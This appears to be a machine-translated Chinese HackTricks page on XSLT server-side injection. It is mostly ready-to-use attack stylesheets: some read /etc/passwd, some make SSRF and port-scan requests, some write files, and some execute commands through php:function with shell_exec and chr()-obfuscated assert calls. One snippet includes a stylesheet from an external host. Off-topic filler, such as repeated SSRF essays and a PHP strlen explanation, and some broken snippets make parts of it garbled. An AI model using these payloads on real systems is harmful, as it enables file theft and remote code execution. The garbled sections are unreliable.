hacktricks/pentesting-web/xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md
2023-08-03 19:12:22 +00:00

31 KiB
Raw Permalink Blame History

XSLT服务器端注入可扩展样式表语言转换

☁️ HackTricks云 ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

它用于将XML文档转换为其他类型。版本1、2和31是最常用的。 转换可以在服务器端或浏览器中进行。

最常用的框架是:LibxsltGnomeXalanApacheSaxonSaxonica

为了利用这种类型的漏洞您需要能够在服务器端存储xsl标签然后访问该内容。可以在https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/找到此类漏洞的示例。

示例 - 教程

sudo apt-get install default-jdk
sudo apt-get install libsaxonb-java libsaxon-java

{% code title="xml.xml" %}

<?xml version="1.0" encoding="UTF-8"?>
<catalog>
<cd>
<title>CD Title</title>
<artist>The artist</artist>
<company>Da Company</company>
<price>10000</price>
<year>1760</year>
</cd>
</catalog>

{% code title="xsl.xsl" %}

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<html>
<body>
<h2>The Super title</h2>
<table border="1">
<tr bgcolor="#9acd32">
<th>Title</th>
<th>artist</th>
</tr>
<tr>
<td><xsl:value-of select="catalog/cd/title"/></td>
<td><xsl:value-of select="catalog/cd/artist"/></td>
</tr>
</table>
</body>
</html>
</xsl:template>
</xsl:stylesheet>

{% endcode %}

执行:

$ saxonb-xslt -xsl:xsl.xsl xml.xml

Warning: at xsl:stylesheet on line 2 column 80 of xsl.xsl:
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
<html>
<body>
<h2>The Super title</h2>
<table border="1">
<tr bgcolor="#9acd32">
<th>Title</th>
<th>artist</th>
</tr>
<tr>
<td>CD Title</td>
<td>The artist</td>
</tr>
</table>
</body>
</html>

指纹识别

{% code title="detection.xsl" %}

<?xml version="1.0" encoding="ISO-8859-1"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
Version: <xsl:value-of select="system-property('xsl:version')" /><br />
Vendor: <xsl:value-of select="system-property('xsl:vendor')" /><br />
Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" /><br />
<xsl:if test="system-property('xsl:product-name')">
Product Name: <xsl:value-of select="system-property('xsl:product-name')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:product-version')">
Product Version: <xsl:value-of select="system-property('xsl:product-version')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:is-schema-aware')">
Is Schema Aware ?: <xsl:value-of select="system-property('xsl:is-schema-aware')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:supports-serialization')">
Supports Serialization: <xsl:value-of select="system-property('xsl:supportsserialization')"
/><br />
</xsl:if>
<xsl:if test="system-property('xsl:supports-backwards-compatibility')">
Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:supportsbackwards-compatibility')"
/><br />
</xsl:if>
</xsl:template>
</xsl:stylesheet>

{% endcode %}

并执行

$saxonb-xslt -xsl:detection.xsl xml.xml

Warning: at xsl:stylesheet on line 2 column 80 of detection.xsl:
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
<h2>XSLT identification</h2><b>Version:</b>2.0<br><b>Vendor:</b>SAXON 9.1.0.8 from Saxonica<br><b>Vendor URL:</b>http://www.saxonica.com/<br>

读取本地文件

{% code title="read.xsl" %}

<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:template match="/">
<xsl:value-of select="unparsed-text('/etc/passwd', 'utf-8')"/>
</xsl:template>
</xsl:stylesheet>

{% endcode %}

$ saxonb-xslt -xsl:read.xsl xml.xml

Warning: at xsl:stylesheet on line 1 column 111 of read.xsl:
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
<?xml version="1.0" encoding="UTF-8"?>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin

SSRF

Server-Side Request Forgery (SSRF)服务器端请求伪造是一种攻击技术攻击者可以利用该技术从受攻击的服务器上发起请求以访问或攻击内部资源。SSRF攻击通常利用应用程序中存在的漏洞使攻击者能够控制请求的目标URL并在服务器上执行任意请求。

攻击者可以利用SSRF攻击来执行以下操作

  • 探测和扫描内部网络
  • 访问和读取敏感数据
  • 攻击内部系统和服务
  • 绕过防火墙和访问控制列表ACL

为了成功利用SSRF攻击攻击者需要找到一个存在漏洞的应用程序该应用程序允许用户控制请求的目标URL。攻击者可以通过以下方式利用SSRF漏洞

  • 使用URL参数或表单字段来控制请求的目标URL
  • 使用文件上传功能来控制请求的目标URL
  • 使用XML外部实体XXE攻击来控制请求的目标URL

为了防止SSRF攻击开发人员应该采取以下措施

  • 对用户输入进行严格的验证和过滤以防止恶意URL的注入
  • 使用白名单来限制应用程序可以访问的URL
  • 配置防火墙和访问控制列表ACL以限制服务器对内部资源的访问
  • 更新和修补应用程序中的漏洞以防止攻击者利用SSRF漏洞

总之SSRF攻击是一种危险的攻击技术可以让攻击者利用应用程序中的漏洞来访问和攻击内部资源。开发人员和系统管理员应该采取适当的措施来防止和检测SSRF攻击。

<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:include href="http://127.0.0.1:8000/xslt"/>
<xsl:template match="/">
</xsl:template>
</xsl:stylesheet>

版本

根据使用的XSLT版本可能会有更多或更少的功能

指纹

上传此文件并获取信息

<?xml version="1.0" encoding="ISO-8859-1"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
Version: <xsl:value-of select="system-property('xsl:version')" /><br />
Vendor: <xsl:value-of select="system-property('xsl:vendor')" /><br />
Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" /><br />
<xsl:if test="system-property('xsl:product-name')">
Product Name: <xsl:value-of select="system-property('xsl:product-name')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:product-version')">
Product Version: <xsl:value-of select="system-property('xsl:product-version')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:is-schema-aware')">
Is Schema Aware ?: <xsl:value-of select="system-property('xsl:is-schema-aware')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:supports-serialization')">
Supports Serialization: <xsl:value-of select="system-property('xsl:supportsserialization')"
/><br />
</xsl:if>
<xsl:if test="system-property('xsl:supports-backwards-compatibility')">
Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:supportsbackwards-compatibility')"
/><br />
</xsl:if>
</xsl:template>
</xsl:stylesheet>

SSRF

SSRFServer-Side Request Forgery服务器端请求伪造是一种攻击技术攻击者可以利用该技术从受攻击的服务器上发起请求访问该服务器通常无法访问的资源。SSRF攻击通常利用应用程序对用户输入的不正确处理从而使攻击者能够控制请求的目标和内容。

攻击者可以利用SSRF攻击来执行以下操作

  • 探测内部网络:攻击者可以通过发送请求到内部网络的资源来探测目标系统的拓扑结构和服务。
  • 绕过防火墙和访问控制攻击者可以通过SSRF攻击绕过防火墙和其他访问控制机制直接访问内部系统和服务。
  • 攻击内部资源攻击者可以利用SSRF攻击来攻击内部资源如数据库、文件系统等。
  • 利用云服务如果目标系统在云服务上运行攻击者可以利用SSRF攻击来访问云服务的元数据和其他敏感信息。

为了防止SSRF攻击开发人员应该采取以下措施

  • 输入验证和过滤对用户输入进行严格的验证和过滤确保只允许有效的URL和IP地址。
  • 白名单限制应用程序可以访问的资源只允许访问受信任的URL和IP地址。
  • 隔离网络:将应用程序和内部网络隔离开来,限制应用程序只能访问必要的资源。
  • 安全配置:确保服务器和应用程序的安全配置,包括限制出站连接和禁用不必要的服务。

通过采取这些措施可以有效减少SSRF攻击的风险并保护应用程序和系统的安全。

<esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl">
</esi:include>

JavaScript注入

JavaScript注入是一种常见的Web应用程序漏洞攻击者可以通过注入恶意的JavaScript代码来执行未经授权的操作。这种漏洞通常出现在用户输入未经充分验证的地方例如表单字段、URL参数或Cookie。

攻击者可以利用JavaScript注入来执行各种恶意操作包括窃取用户的敏感信息、篡改网页内容、劫持用户会话等。为了防止JavaScript注入攻击开发人员应该始终对用户输入进行严格的验证和过滤并使用安全的编码实践来防止脚本注入。

以下是一些常见的JavaScript注入攻击技术

  • XSS跨站脚本攻击攻击者通过注入恶意的JavaScript代码来窃取用户的敏感信息或执行其他恶意操作。开发人员应该使用适当的输入验证和输出编码来防止XSS攻击。

  • DOM文档对象模型注入攻击者通过修改网页的DOM结构来执行恶意操作。开发人员应该使用安全的DOM操作方法并避免直接使用用户输入来修改DOM。

  • JSONPJSON with Padding注入攻击者通过注入恶意的JSONP回调函数来执行恶意操作。开发人员应该使用安全的JSONP实现并对回调函数进行验证和过滤。

  • HTML注入攻击者通过注入恶意的HTML代码来篡改网页内容或执行其他恶意操作。开发人员应该使用适当的输出编码来防止HTML注入攻击。

  • AJAX注入攻击者通过注入恶意的AJAX请求来执行未经授权的操作。开发人员应该对AJAX请求进行严格的验证和过滤并使用安全的AJAX实现来防止注入攻击。

通过了解这些JavaScript注入攻击技术开发人员可以采取适当的防御措施来保护Web应用程序免受恶意攻击的影响。

<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<script>confirm("We're good");</script>
</xsl:template>
</xsl:stylesheet>

目录列表PHP

Opendir + readdir

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="php:function('opendir','/path/to/dir')"/>
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
</xsl:template></xsl:stylesheet>

断言var_dump + scandir + false

在进行服务器端注入时我们可以使用XSLT可扩展样式表语言转换来执行一些有趣的操作。其中一种技术是使用var_dumpscandir函数来获取服务器上的文件和目录列表。

以下是一个示例XSLT代码用于执行此操作

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
    <xsl:output method="text" omit-xml-declaration="yes" />
    <xsl:template match="/">
        <xsl:variable name="dir" select="php:function('scandir', '.')"/>
        <xsl:for-each select="$dir">
            <xsl:value-of select="php:function('var_dump', .)"/>
        </xsl:for-each>
    </xsl:template>
</xsl:stylesheet>

这段代码将使用scandir函数获取当前目录中的文件和目录列表,并使用var_dump函数将结果输出到页面上。

要执行此代码我们需要将其作为参数传递给服务器上的XSLT处理器。这可以通过发送HTTP请求来完成其中包含对XSLT文件的引用。

请注意,这种技术可能会导致服务器上的敏感信息泄漏,因此在进行任何测试之前,请确保已获得适当的授权。

<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
<xsl:copy-of name="asd" select="php:function('assert','var_dump(scandir(chr(46).chr(47)))==3')" />
<br />
</body>
</html>

内部 - PHP

XSLT可扩展样式表语言转换是一种用于将XML文档转换为其他格式的技术。在某些情况下XSLT可以用于读取服务器上的文件包括敏感文件。

要利用XSLT进行服务器端注入首先需要找到一个可以接受用户提供的XSLT样式表的应用程序。然后可以使用以下技术之一来读取文件

  1. document()函数XSLT中的document()函数允许读取其他XML文档。通过构造一个包含敏感文件路径的XSLT样式表并在其中使用document()函数,可以读取服务器上的文件。

  2. xsl:include和xsl:importXSLT中的xsl:include和xsl:import指令允许引用其他XSLT样式表。通过构造一个包含敏感文件路径的XSLT样式表并在其中使用xsl:include或xsl:import指令可以读取服务器上的文件。

以下是一个示例演示了如何使用XSLT进行服务器端注入来读取敏感文件

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <xsl:variable name="file" select="document('/etc/passwd')" />
    <xsl:value-of select="$file" />
  </xsl:template>
</xsl:stylesheet>

在上面的示例中XSLT样式表使用document()函数读取了服务器上的/etc/passwd文件,并将其值输出到结果中。

要成功利用XSLT服务器端注入需要找到一个接受用户提供的XSLT样式表的应用程序并且该应用程序必须对用户提供的样式表进行解析和执行。

<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:template match="/">
<xsl:value-of select="unparsed-text('/etc/passwd', utf-8')"/>
</xsl:template>
</xsl:stylesheet>

内部 - XXE

XXE外部实体注入是一种攻击技术利用了XML解析器的漏洞允许攻击者读取服务器上的文件、执行远程请求和进行其他恶意操作。在内部渗透测试中XXE可以用于获取敏感信息、发起攻击或进一步扩大攻击面。

攻击方法

  1. 基于DTD的XXE攻击攻击者通过在XML文档中插入恶意的DTD文档类型定义来触发XXE漏洞。这可以导致解析器加载外部实体从而泄露敏感信息。

  2. 基于实体的XXE攻击攻击者通过在XML文档中插入恶意的实体引用来触发XXE漏洞。这可以导致解析器解析实体并执行恶意操作。

  3. 基于参数实体的XXE攻击攻击者通过在XML文档中插入恶意的参数实体引用来触发XXE漏洞。这可以导致解析器解析参数实体并执行恶意操作。

防御措施

为了防止XXE攻击可以采取以下措施

  1. 禁用外部实体解析在XML解析器中禁用外部实体解析以防止攻击者利用XXE漏洞。

  2. 输入验证和过滤对用户输入的XML数据进行严格的验证和过滤以防止恶意XML数据的注入。

  3. 使用安全的XML解析器使用安全性较高的XML解析器以减少XXE漏洞的风险。

  4. 最小化XML解析器的权限将XML解析器的权限限制为最小以减少攻击者利用XXE漏洞进行恶意操作的可能性。

  5. 更新和修补漏洞及时更新和修补XML解析器中的漏洞以确保系统的安全性。

总结

XXE是一种利用XML解析器漏洞的攻击技术可以导致敏感信息泄露和恶意操作。为了防止XXE攻击应禁用外部实体解析、进行输入验证和过滤使用安全的XML解析器最小化解析器的权限并及时更新和修补漏洞。

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE dtd_sample[<!ENTITY ext_file SYSTEM "/etc/passwd">]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
&ext_file;
</xsl:template>
</xsl:stylesheet>

通过HTTP

When performing XSLT Server-Side Injection (XSSI) attacks, one common method is to exploit the XSLT processor by sending a specially crafted XML payload through an HTTP request. This allows an attacker to inject malicious code into the server-side XSLT stylesheet, which is then executed by the server.

在执行XSLT服务器端注入XSSI攻击时一种常见的方法是通过HTTP请求发送一个特制的XML负载来利用XSLT处理器。这使得攻击者能够将恶意代码注入到服务器端的XSLT样式表中然后由服务器执行。

To perform this attack, the attacker needs to identify the vulnerable parameter that is being used in the XSLT transformation. Once the parameter is identified, the attacker can manipulate the XML payload to inject their own XSLT code.

要执行此攻击攻击者需要识别正在使用XSLT转换的易受攻击参数。一旦参数被识别出来攻击者可以操纵XML负载以注入自己的XSLT代码。

The XML payload should contain the XSLT code within the <xsl:stylesheet> tags. The attacker can then use various XSLT functions and techniques to execute arbitrary commands on the server, read sensitive files, or perform other malicious actions.

XML负载应该在<xsl:stylesheet>标签中包含XSLT代码。然后攻击者可以使用各种XSLT函数和技术在服务器上执行任意命令读取敏感文件或执行其他恶意操作。

It is important to note that XSSI attacks can only be performed if the server-side XSLT processing is enabled and the XML input is not properly validated or sanitized. Therefore, it is crucial for developers to implement proper input validation and sanitization techniques to prevent such attacks.

需要注意的是只有在启用了服务器端XSLT处理并且XML输入未经适当验证或清理时才能执行XSSI攻击。因此开发人员必须实施适当的输入验证和清理技术以防止此类攻击。

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:value-of select="document('/etc/passwd')"/>
</xsl:template>
</xsl:stylesheet>
<!DOCTYPE xsl:stylesheet [
<!ENTITY passwd SYSTEM "file:///etc/passwd" >]>
<xsl:template match="/">
&passwd;
</xsl:template>

内部PHP函数

The internal function in PHP is used to execute internal functions within the PHP interpreter. These functions are built-in and are part of the PHP core. They provide various functionalities that can be used in PHP scripts.

To use an internal function, you simply call it by its name followed by parentheses. You can also pass arguments to the function within the parentheses if required.

Here is an example of using the strlen() function, which returns the length of a string:

$string = "Hello, world!";
$length = strlen($string);
echo "The length of the string is: " . $length;

In this example, the strlen() function is used to calculate the length of the $string variable and store it in the $length variable. The result is then echoed to the screen.

Internal functions are a powerful feature of PHP that allow you to perform various operations easily. It is important to familiarize yourself with the available internal functions and their usage to make the most out of PHP programming.

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="php:function('file_get_contents','/path/to/file')"/>
</xsl:template>
</xsl:stylesheet>
<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
<xsl:copy-of name="asd" select="php:function('assert','var_dump(file_get_contents(scandir(chr(46).chr(47))[2].chr(47).chr(46).chr(112).chr(97).chr(115).chr(115).chr(119).chr(100)))==3')" />
<br />
</body>
</html>

端口扫描

A port scan is a technique used to identify open ports on a target system. It involves sending network requests to different ports and analyzing the responses to determine if the port is open, closed, or filtered. Port scanning is commonly used in penetration testing to identify potential entry points for attackers. By identifying open ports, an attacker can gain information about the services running on the target system and potentially exploit vulnerabilities.

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="document('http://example.com:22')"/>
</xsl:template>
</xsl:stylesheet>

写入文件

XSLT 2.0

XSLT 2.0提供了一种将结果写入文件的方法。可以使用xsl:result-document元素来实现这一功能。该元素可以指定要写入的文件路径,并将结果写入该文件。

以下是一个示例演示如何使用XSLT 2.0将结果写入文件:

<xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <xsl:result-document href="output.txt">
      <xsl:text>Hello, World!</xsl:text>
    </xsl:result-document>
  </xsl:template>
</xsl:stylesheet>

在上面的示例中,xsl:result-document元素的href属性指定了要写入的文件路径。在这种情况下,结果将被写入名为output.txt的文件中。

要执行上述XSLT转换并将结果写入文件可以使用支持XSLT 2.0的XSLT处理器。

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:result-document href="local_file.txt">
<xsl:text>Write Local File</xsl:text>
</xsl:result-document>
</xsl:template>
</xsl:stylesheet>

Xalan-J扩展

Xalan-J是一个Java编写的XSLT处理器它支持XSLT 1.0和XSLT 2.0标准。Xalan-J提供了一些扩展功能可以在XSLT转换过程中执行Java代码。这些扩展功能可以用于执行各种任务包括文件操作、网络请求和系统命令执行等。

在进行XSLT服务器端注入时可以利用Xalan-J扩展来执行任意的Java代码。通过构造恶意的XSLT样式表攻击者可以注入并执行任意的Java代码从而实现服务器端的远程命令执行。

要利用Xalan-J扩展进行服务器端注入需要满足以下条件

  • 目标应用程序使用Xalan-J作为其XSLT处理器。
  • 目标应用程序允许用户提供自定义的XSLT样式表。

如果以上条件满足攻击者可以构造恶意的XSLT样式表其中包含Xalan-J扩展的调用。当目标应用程序将用户提供的样式表用于XSLT转换时恶意代码将被执行从而导致服务器端的远程命令执行。

为了防止Xalan-J扩展的滥用应用程序开发人员应该遵循以下安全最佳实践

  • 不要允许用户提供自定义的XSLT样式表或者对用户提供的样式表进行严格的输入验证和过滤。
  • 使用最新版本的Xalan-J并及时应用安全补丁。
  • 限制Xalan-J扩展的使用权限只允许受信任的用户或角色使用。

通过了解Xalan-J扩展的工作原理和防御措施可以有效地保护应用程序免受XSLT服务器端注入攻击的威胁。

<xsl:template match="/">
<redirect:open file="local_file.txt"/>
<redirect:write file="local_file.txt"/> Write Local File</redirect:write>
<redirect:close file="loxal_file.txt"/>
</xsl:template>

其他在PDF中编写文件的方法

包含外部XSL文件

<xsl:include href="http://extenal.web/external.xsl"/>
<?xml version="1.0" ?>
<?xml-stylesheet type="text/xsl" href="http://external.web/ext.xsl"?>

执行代码

php:function

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="php:function('shell_exec','sleep 10')" />
</xsl:template>
</xsl:stylesheet>
<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
<xsl:copy-of name="asd" select="php:function('assert','var_dump(scandir(chr(46).chr(47)));')" />
<br />
</body>
</html>

在PDF中使用其他框架执行代码

更多语言

在此页面中您可以找到其他语言中的RCE示例 https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection#C%23%2FVB.NET%2FASP.NET (CJavaPHP)

从类中访问PHP静态函数

以下函数将调用类XSL的静态方法stringToUrl

<!--- More complex test to call php class function-->
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl"
version="1.0">
<xsl:output method="html" version="XHTML 1.0" encoding="UTF-8" indent="yes" />
<xsl:template match="root">
<html>
<!-- We use the php suffix to call the static class function stringToUrl() -->
<xsl:value-of select="php:function('XSL::stringToUrl','une_superstring-àÔ|modifier')" />
<!-- Output: 'une_superstring ao modifier' -->
</html>
</xsl:template>
</xsl:stylesheet>

暴力破解检测列表

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xslt.txt" %}

参考资料

☁️ HackTricks 云 ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥